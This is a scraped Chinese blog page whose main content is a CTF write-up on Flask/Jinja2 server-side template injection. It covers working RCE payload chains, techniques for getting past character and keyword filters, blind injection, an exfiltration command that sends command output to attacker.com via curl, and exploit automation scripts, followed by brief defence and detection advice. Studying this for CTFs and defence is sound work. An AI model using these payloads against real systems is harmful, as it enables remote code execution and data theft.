news 2026/4/19 1:56:21

Flask/Jinja2 SSTI通关CTFshow-WEB入门系列:从基础payload到绕过层层过滤的实战笔记

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Flask/Jinja2 SSTI通关CTFshow-WEB入门系列:从基础payload到绕过层层过滤的实战笔记

Flask/Jinja2 SSTI漏洞实战:从基础到高阶绕过的完整方法论

在CTF竞赛的Web安全赛题中,模板注入漏洞(SSTI)一直是高频考点。本文将系统梳理Flask/Jinja2环境下SSTI的利用链条,通过难度递增的实战案例,带你掌握从基础payload构造到复杂过滤绕过的完整知识体系。

1. SSTI核心原理与基础利用

模板注入的本质是服务端将用户输入作为模板语法解析执行。在Flask框架中,Jinja2作为默认模板引擎,其{{}}语法允许执行Python表达式。当攻击者能够控制模板内容时,就能通过构造特殊对象链实现RCE。

基础利用链构造三要素

  1. 获取基类:通过''.__class__.__mro__[1]获取object基类
  2. 定位危险子类:遍历__subclasses__()寻找包含os模块引用的类(如os._wrap_close
  3. 调用命令执行:通过__globals__获取os模块后调用popen等函数
# 典型payload结构 {{ ''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('whoami').read() }}

关键内置属性速查表

属性作用示例
__class__获取对象所属类''.__class__<class 'str'>
__mro__方法解析顺序元组str.__mro__(str, object)
__subclasses__()获取子类列表object.__subclasses__()
__globals__函数全局命名空间func.__globals__
__builtins__内置函数集合__builtins__.eval

注意:不同Python版本子类索引可能变化,实战中需动态确定危险类位置

2. 常规过滤的绕过技巧

CTF题目通常会设置层层过滤限制,我们需要灵活运用各种技巧突破防线。

2.1 字符限制突破方案

引号被过滤时

  • 使用request对象传递参数:
{{ url_for.__globals__[request.args.a][request.args.b](request.args.c).read() }} ?a=os&b=popen&c=whoami
  • 字符串拼接:
{% set chr=url_for.__globals__.__builtins__.chr %} {{ chr(111)+chr(115) }} # 输出"os"

中括号被过滤时

  • 使用__getitem__方法替代:
{{ config.__str__().__getitem__(2) }} # 等效于config.__str__()[2]
  • 利用过滤器转换:
{{ (config|string|list).pop(1) }} # 将字符串转为列表后取元素

2.2 关键词过滤绕过

当下划线被禁用时,可采用以下方案:

{% set a=(()|select|string|list).pop(24) %} # 获取'_'字符 {% set globals=(a,a,dict(globals=1)|join,a,a)|join %} # 拼接"__globals__" {{ (lipsum|attr(globals)).get('os') }}

当数字被禁用时,利用过滤器生成:

{% set one=dict(a=1)|join|length %} # 值为1 {% set two=dict(aa=1)|join|length %} # 值为2

3. 无回显场景下的利用技术

当表达式执行结果被过滤时,需要采用盲注技术:

3.1 布尔盲注方案

{% if lipsum.__globals__.os.popen('id').read()[0]=='u' %} {{ 1/0 }} # 通过报错显式判断 {% endif %}

3.2 外带数据技术

{% set cmd='curl http://attacker.com/?data='+lipsum.__globals__.os.popen('id').read() %} {{ lipsum.__globals__.os.popen(cmd) }}

4. 自动化payload生成实践

面对复杂过滤条件,手动构造payload效率低下。这里分享几个实用脚本技巧:

字符定位脚本

import requests def find_char(target): for i in range(500): r = requests.get(f'http://target/?name={{config.__str__().__getitem__({i})}}') if target in r.text: return i return None # 生成cat /flag的字符索引 print([find_char(c) for c in 'cat /flag'])

全自动利用框架

class SSTIExploit: def __init__(self, url): self.url = url self.charset = {} def build_reference(self): # 自动建立字符索引库 pass def generate_payload(self, cmd): # 根据过滤规则动态生成payload pass def execute(self, cmd): payload = self.generate_payload(cmd) return requests.get(self.url, params={'name':payload}).text

5. 防御方案与检测技巧

作为开发者,应当了解如何防范SSTI漏洞:

安全开发实践

  • 始终对用户输入进行严格过滤
  • 使用Jinja2的沙箱环境
  • 禁用不必要的模板功能

检测方法论

# 简易检测脚本 test_cases = [ '{{7*7}}', # 基础检测 '{{self}}', # 对象检测 '{% debug %}' # 调试模式检测 ] def check_ssti(url): for payload in test_cases: if requests.get(url, params={'name':payload}).text.strip() == '49': return True return False

在真实业务场景中,建议结合SAST工具进行自动化检测,同时建立模板使用的白名单机制。对于CTF选手而言,理解这些防御手段也能帮助逆向思考突破方案。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/19 1:55:31

SS-CA-APPLE:留数定理如何简化复变函数积分计算?

1. 留数定理&#xff1a;复变函数积分的"作弊器" 第一次接触复变函数积分时&#xff0c;我被那些复杂的围道积分折磨得够呛。直到遇到留数定理&#xff0c;才发现原来积分还能这么玩&#xff01;这就像在数学考试中发现了一个万能公式&#xff0c;能把原本需要复杂计…

作者头像 李华
网站建设 2026/4/19 1:53:14

【论文】监控视频中微妙抢劫检测的可解释人体活动识别

监控视频中微妙抢劫检测的可解释人体活动识别论文解读摘要分析本论文由墨西哥国立理工学院的Czares等学者提出&#xff0c;针对非暴力街头抢劫&#xff08;即"抢夺逃跑"&#xff0c;snatch-and-run&#xff09;的自动检测问题&#xff0c;提出了一种创新的混合式、基…

作者头像 李华
网站建设 2026/4/19 1:51:06

PID控制中的采样时间陷阱:为什么你的STM32定时器配置总是不准?

STM32定时器采样时间精准控制&#xff1a;PID算法中的定时器配置陷阱与实战优化 在嵌入式控制系统中&#xff0c;PID算法的性能很大程度上依赖于采样时间的精确性。许多工程师在使用STM32定时器配置采样周期时&#xff0c;常常遇到定时不准、中断响应延迟等问题&#xff0c;导致…

作者头像 李华
网站建设 2026/4/19 1:41:41

将复杂Python项目迁移至Cython避坑

给Python穿上了一套“定制西装”——合身时性能爆表,但如果尺寸没拿捏好(编译配置出错),穿起来就会处处受限。对于复杂项目,最核心的挑战往往不在于代码本身,而在于构建系统(setup.py/pyproject.toml)的配置、多文件依赖管理以及C/C++层面的环境对接。 一、 环境与跨平…

作者头像 李华